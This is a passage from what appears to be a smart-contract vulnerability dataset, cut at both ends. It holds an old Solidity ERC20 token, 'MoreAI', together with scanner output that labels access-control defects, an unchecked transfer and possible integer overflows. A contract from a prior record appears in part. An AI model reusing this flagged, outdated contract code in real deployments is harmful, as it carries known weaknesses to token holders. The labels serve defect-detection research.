{"etherATM_DeFi_v1.sol": [861]}}, {"check": "too-many-digits", "impact": "Informational", "confidence": "Medium", "lines": {"etherATM_DeFi_v1.sol": [865]}}, {"check": "too-many-digits", "impact": "Informational", "confidence": "Medium", "lines": {"etherATM_DeFi_v1.sol": [872]}}, {"check": "unchecked-transfer", "impact": "High", "confidence": "Medium", "lines": {"etherATM_DeFi_v1.sol": [780]}}] | [] | [{"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 615, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 636, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 746, "severity": 1}, {"rule": "SOLIDITY_ERC20_APPROVE", "line": 519, "severity": 2}, {"rule": "SOLIDITY_LOCKED_MONEY", "line": 835, "severity": 3}, {"rule": "SOLIDITY_LOCKED_MONEY", "line": 851, "severity": 3}, {"rule": "SOLIDITY_OVERPOWERED_ROLE", "line": 811, "severity": 2}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 3, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 27, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 107, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 267, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 410, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 694, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 764, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 788, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 828, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 844, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 421, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 423, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 425, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 427, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 428, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 429, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 709, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 797, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 859, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 861, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 862, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 864, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 865, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 867, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 868, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 869, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 870, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 872, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 873, "severity": 1}, {"rule": "SOLIDITY_SAFEMATH", "line": 418, "severity": 1}, {"rule": "SOLIDITY_SAFEMATH", "line": 853, "severity": 1}, {"rule": "SOLIDITY_SHOULD_NOT_BE_VIEW", "line": 290, "severity": 1}, {"rule": "SOLIDITY_USING_INLINE_ASSEMBLY", "line": 297, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 317, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 440, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 716, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 837, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 878, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 317, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 317, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 318, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 318, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 318, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 318, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 321, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 321, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 321, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 837, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 837, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 838, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 838, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 838, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 875, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 876, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 882, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 883, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 884, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 884, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 885, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 887, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 888, "severity": 1}] | [{"inputs":[{"internalType":"string","name":"name","type":"string"},{"internalType":"string","name":"symbol","type":"string"},{"internalType":"uint8","name":"decimals","type":"uint8"},{"internalType":"address payable","name":"commissionReceiver","type":"address"},{"internalType":"address payable","name":"feeReceiver","type":"address"}],"stateMutability":"payable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Reserved","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"assassination","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyTokens","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"clean","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"getBasePrice","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getBaseSlab","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getBuyCommission","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getBuyFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getCommissionReceiver","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getCurrentPrice","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getCurrentSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getFeeReceiver","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getHardLimit","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getIncrement","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getMaxHolding","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getMaxSellBatch","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getSellCommission","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getSoftLimit","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"numerator","type":"uint256"},{"internalType":"uint256","name":"denominator","type":"uint256"},{"internalType":"uint256","name":"precision","type":"uint256"}],"name":"percent","outputs":[{"internalType":"uint256","name":"quotient","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"sellTokens","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"bp","type":"uint256"}],"name":"setBasePrice","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"bs","type":"uint256"}],"name":"setBaseSlab","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"bc","type":"uint256"}],"name":"setBuyCommission","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"bf","type":"uint256"}],"name":"setBuyFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address payable","name":"rec","type":"address"}],"name":"setCommissionReceiver","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"cs","type":"uint256"}],"name":"setCurrentSupply","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address payable","name":"rec","type":"address"}],"name":"setFeeReceiver","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"increment","type":"uint256"}],"name":"setIncrement","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"limit","type":"uint256"}],"name":"setMaxHolding","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"limit","type":"uint256"}],"name":"setMaxSellBatch","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"sc","type":"uint256"}],"name":"setSellCommission","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"bs","type":"uint256"},{"internalType":"uint256","name":"bp","type":"uint256"},{"internalType":"uint256","name":"increment","type":"uint256"}],"name":"updateSlabs","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}] | v0.7.0+commit.9e61f92b | false | 200 | 00000000000000000000000000000000000000000000000000000000000000a000000000000000000000000000000000000000000000000000000000000000e000000000000000000000000000000000000000000000000000000000000000120000000000000000000000007f37f81e840e8faaeed4774365a163dffbe58765000000000000000000000000e177432a81b5d3e836df39e87626336d9f9f965b0000000000000000000000000000000000000000000000000000000000000010657468657241544d5f446546695f76310000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000044541544d00000000000000000000000000000000000000000000000000000000 | Default | GNU GPLv3 | false | ipfs://305bcd4dfba73034c08ff98acb781428d2642c3bf8b504e71f826c17b94cd4a5 |
||
MoreAI | 0x97e8dbc4bab20a825edc72df441bde3102508605 | Solidity | pragma solidity ^0.4.6;
library SafeMath {
function mul(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal constant returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal constant returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) constant returns (uint256);
function transfer(address to, uint256 value) returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) returns (bool) {
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) constant returns (uint256 balance) {
return balances[_owner];
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) constant returns (uint256);
function transferFrom(address from, address to, uint256 value) returns (bool);
function approve(address spender, uint256 value) returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amout of tokens to be transfered
*/
function transferFrom(address _from, address _to, uint256 _value) returns (bool) {
var _allowance = allowed[_from][msg.sender];
// Check is not needed because sub(_allowance, _value) will already throw if this condition is not met
// require (_value <= _allowance);
balances[_to] = balances[_to].add(_value);
balances[_from] = balances[_from].sub(_value);
allowed[_from][msg.sender] = _allowance.sub(_value);
Transfer(_from, _to, _value);
return true;
}
/**
* @dev Aprove the passed address to spend the specified amount of tokens on behalf of msg.sender.
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) returns (bool) {
// To change the approve amount you first have to reduce the addresses`
// allowance to zero by calling `approve(_spender, 0)` if it is not
// already 0 to mitigate the race condition described here:
// https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
require((_value == 0) || (allowed[msg.sender][_spender] == 0));
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifing the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
}
contract Ownable {
address public owner;
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) onlyOwner {
require(newOwner != address(0));
owner = newOwner;
}
}
contract Recoverable is Ownable {
/// @dev Empty constructor (for now)
function Recoverable() {
}
/// @dev This will be invoked by the owner, when owner wants to rescue tokens
/// @param token Token which will we rescue to the owner from the contract
function recoverTokens(ERC20Basic token) onlyOwner public {
token.transfer(owner, tokensToBeReturned(token));
}
/// @dev Interface function, can be overwritten by the superclass
/// @param token Token which balance we will check and return
/// @return The amount of tokens (in smallest denominator) the contract owns
function tokensToBeReturned(ERC20Basic token) public returns (uint) {
return token.balanceOf(this);
}
}
contract StandardTokenExt is Recoverable, StandardToken {
/* Interface declaration */
function isToken() public constant returns (bool weAre) {
return true;
}
}
contract BurnableToken is StandardTokenExt {
// @notice An address for the transfer event where the burned tokens are transferred in a faux Transfer event
address public constant BURN_ADDRESS = 0;
/** How many tokens we burned */
event Burned(address burner, uint burnedAmount);
/**
* Burn extra tokens from a balance.
*
*/
function burn(uint burnAmount) {
address burner = msg.sender;
balances[burner] = balances[burner].sub(burnAmount);
totalSupply = totalSupply.sub(burnAmount);
Burned(burner, burnAmount);
// Inform the blockchain explores that track the
// balances only by a transfer event that the balance in this
// address has decreased
Transfer(burner, BURN_ADDRESS, burnAmount);
}
}
contract UpgradeableToken is StandardTokenExt {
/** Contract / person who can set the upgrade path. This can be the same as team multisig wallet, as what it is with its default value. */
address public upgradeMaster;
/** The next contract where the tokens will be migrated. */
UpgradeAgent public upgradeAgent;
/** How many tokens we have upgraded by now. */
uint256 public totalUpgraded;
/**
* Upgrade states.
*
* - NotAllowed: The child contract has not reached a condition where the upgrade can bgun
* - WaitingForAgent: Token allows upgrade, but we don't have a new agent yet
* - ReadyToUpgrade: The agent is set, but not a single token has been upgraded yet
* - Upgrading: Upgrade agent is set and the balance holders can upgrade their tokens
*
*/
enum UpgradeState {Unknown, NotAllowed, WaitingForAgent, ReadyToUpgrade, Upgrading}
/**
* Somebody has upgraded some of his tokens.
*/
event Upgrade(address indexed _from, address indexed _to, uint256 _value);
/**
* New upgrade agent available.
*/
event UpgradeAgentSet(address agent);
/**
* Do not allow construction without upgrade master set.
*/
function UpgradeableToken(address _upgradeMaster) {
upgradeMaster = _upgradeMaster;
}
/**
* Allow the token holder to upgrade some of their tokens to a new contract.
*/
function upgrade(uint256 value) public {
UpgradeState state = getUpgradeState();
if(!(state == UpgradeState.ReadyToUpgrade || state == UpgradeState.Upgrading)) {
// Called in a bad state
throw;
}
// Validate input value.
if (value == 0) throw;
balances[msg.sender] = balances[msg.sender].sub(value);
// Take tokens out from circulation
totalSupply = totalSupply.sub(value);
totalUpgraded = totalUpgraded.add(value);
// Upgrade agent reissues the tokens
upgradeAgent.upgradeFrom(msg.sender, value);
Upgrade(msg.sender, upgradeAgent, value);
}
/**
* Set an upgrade agent that handles
*/
function setUpgradeAgent(address agent) external {
if(!canUpgrade()) {
// The token is not yet in a state that we could think upgrading
throw;
}
if (agent == 0x0) throw;
// Only a master can designate the next agent
if (msg.sender != upgradeMaster) throw;
// Upgrade has already begun for an agent
if (getUpgradeState() == UpgradeState.Upgrading) throw;
upgradeAgent = UpgradeAgent(agent);
// Bad interface
if(!upgradeAgent.isUpgradeAgent()) throw;
// Make sure that token supplies match in source and target
if (upgradeAgent.originalSupply() != totalSupply) throw;
UpgradeAgentSet(upgradeAgent);
}
/**
* Get the state of the token upgrade.
*/
function getUpgradeState() public constant returns(UpgradeState) {
if(!canUpgrade()) return UpgradeState.NotAllowed;
else if(address(upgradeAgent) == 0x00) return UpgradeState.WaitingForAgent;
else if(totalUpgraded == 0) return UpgradeState.ReadyToUpgrade;
else return UpgradeState.Upgrading;
}
/**
* Change the upgrade master.
*
* This allows us to set a new owner for the upgrade mechanism.
*/
function setUpgradeMaster(address master) public {
if (master == 0x0) throw;
if (msg.sender != upgradeMaster) throw;
upgradeMaster = master;
}
/**
* Child contract can enable to provide the condition when the upgrade can begun.
*/
function canUpgrade() public constant returns(bool) {
return true;
}
}
contract UpgradeAgent {
uint public originalSupply;
/** Interface marker */
function isUpgradeAgent() public constant returns (bool) {
return true;
}
function upgradeFrom(address _from, uint256 _value) public;
}
contract MoreAI is BurnableToken, UpgradeableToken {
// Token meta information
string public name;
string public symbol;
uint public decimals;
event UpdatedTokenInformation(string newName, string newSymbol);
function MoreAI() UpgradeableToken(msg.sender) {
name = "MoreAI";
symbol = "MO";
totalSupply = 1000000000000000000000000000;
decimals = 18;
// Allocate initial balance to the owner
balances[msg.sender] = totalSupply;
}
function setTokenInformation(string _name, string _symbol) {
if(msg.sender != upgradeMaster) {
throw;
}
name = _name;
symbol = _symbol;
UpdatedTokenInformation(name, symbol);
}
function transfer(address _to, uint _value) returns (bool success) {
return super.transfer(_to, _value);
}
} | [{"defect": "Leaking_to_arbitary_address", "type": "Access_control", "severity": "Medium", "lines": ["167"]}, {"defect": "Erroneous_constructor_name", "type": "Access_control", "severity": "Medium", "lines": ["332"]}, {"defect": "Unused_state_variable", "type": "Code_specification", "severity": "Low", "lines": ["30", "334"]}, {"defect": "Exceed_authority_access", "type": "Access_control", "severity": "Medium", "lines": ["129", "41", "76", "194", "354", "336"]}] | [{"check": "constable-states", "impact": "Optimization", "confidence": "High", "lines": {"MoreAI.sol": [334]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"MoreAI.sol": [4, 5, 6, 7, 8]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"MoreAI.sol": [10, 11, 12, 13, 14, 15]}}, {"check": "deprecated-standards", "impact": "Informational", "confidence": "High", "lines": {"MoreAI.sol": [286]}}, {"check": "deprecated-standards", "impact": "Informational", "confidence": "High", "lines": {"MoreAI.sol": [319]}}, {"check": "deprecated-standards", "impact": "Informational", "confidence": "High", "lines": {"MoreAI.sol": [297]}}, {"check": "deprecated-standards", "impact": "Informational", "confidence": "High", "lines": {"MoreAI.sol": [283]}}, {"check": "deprecated-standards", "impact": "Informational", "confidence": "High", "lines": {"MoreAI.sol": [259]}}, {"check": "deprecated-standards", "impact": "Informational", "confidence": "High", "lines": {"MoreAI.sol": [263]}}, {"check": "deprecated-standards", "impact": "Informational", "confidence": "High", "lines": {"MoreAI.sol": [288]}}, {"check": "deprecated-standards", "impact": "Informational", "confidence": "High", "lines": {"MoreAI.sol": [295]}}, {"check": "deprecated-standards", "impact": "Informational", "confidence": "High", "lines": {"MoreAI.sol": [318]}}, {"check": "deprecated-standards", "impact": "Informational", "confidence": "High", "lines": {"MoreAI.sol": [290]}}, {"check": "deprecated-standards", "impact": "Informational", "confidence": "High", "lines": {"MoreAI.sol": [368]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"MoreAI.sol": [181, 182, 183]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"MoreAI.sol": [365, 366, 367, 368, 369, 370, 371, 372, 373, 374]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"MoreAI.sol": [337, 338, 339]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"MoreAI.sol": [198, 199, 200, 201, 202, 203, 204, 205, 206, 207, 208]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"MoreAI.sol": [82, 83, 84, 85, 86, 87, 88, 89, 90, 91, 92, 93]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"MoreAI.sol": [256, 257, 258, 259, 260, 261, 262, 263, 264, 265, 266, 267, 268, 269, 270, 271, 272, 273, 274, 254, 255]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"MoreAI.sol": [31]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"MoreAI.sol": [100, 101, 102, 103, 104, 105, 106, 107, 108, 109, 110, 111]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"MoreAI.sol": [152, 153, 154, 151]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"MoreAI.sol": [341]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"MoreAI.sol": [120, 121, 119]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"MoreAI.sol": [168, 166, 167]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"MoreAI.sol": [320, 321, 317, 318, 319]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"MoreAI.sol": [1]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {}}, {"check": "events-access", "impact": "Low", "confidence": "Medium", "lines": {"MoreAI.sol": [153]}}, {"check": "missing-zero-check", "impact": "Low", "confidence": "Medium", "lines": {"MoreAI.sol": [248]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"MoreAI.sol": [377]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"MoreAI.sol": [119]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"MoreAI.sol": [100]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"MoreAI.sol": [46]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"MoreAI.sol": [119]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"MoreAI.sol": [82]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"MoreAI.sol": [82]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"MoreAI.sol": [365]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"MoreAI.sol": [100]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"MoreAI.sol": [365]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"MoreAI.sol": [46]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"MoreAI.sol": [58]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"MoreAI.sol": [82]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"MoreAI.sol": [377]}}, {"check": "reentrancy-events", "impact": "Low", "confidence": "Medium", "lines": {"MoreAI.sol": [299]}}, {"check": "reentrancy-events", "impact": "Low", "confidence": "Medium", "lines": {"MoreAI.sol": [273]}}, {"check": "too-many-digits", "impact": "Informational", "confidence": "Medium", "lines": {"MoreAI.sol": [357]}}, {"check": "unchecked-transfer", "impact": "High", "confidence": "Medium", "lines": {"MoreAI.sol": [167]}}, {"check": "unimplemented-functions", "impact": "Informational", "confidence": "High", "lines": {"MoreAI.sol": [341]}}] | [{"error": "Integer Overflow.", "line": 23, "level": "Warning"}, {"error": "Integer Underflow.", "line": 349, "level": "Warning"}, {"error": "Integer Underflow.", "line": 348, "level": "Warning"}, {"error": "Integer Overflow.", "line": 365, "level": "Warning"}] | [{"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 307, "severity": 1}, {"rule": "SOLIDITY_DEPRECATED_CONSTRUCTIONS", "line": 259, "severity": 1}, {"rule": "SOLIDITY_DEPRECATED_CONSTRUCTIONS", "line": 263, "severity": 1}, {"rule": "SOLIDITY_DEPRECATED_CONSTRUCTIONS", "line": 283, "severity": 1}, {"rule": "SOLIDITY_DEPRECATED_CONSTRUCTIONS", "line": 286, "severity": 1}, {"rule": "SOLIDITY_DEPRECATED_CONSTRUCTIONS", "line": 288, "severity": 1}, {"rule": "SOLIDITY_DEPRECATED_CONSTRUCTIONS", "line": 290, "severity": 1}, {"rule": "SOLIDITY_DEPRECATED_CONSTRUCTIONS", "line": 295, "severity": 1}, {"rule": "SOLIDITY_DEPRECATED_CONSTRUCTIONS", "line": 297, "severity": 1}, {"rule": "SOLIDITY_DEPRECATED_CONSTRUCTIONS", "line": 318, "severity": 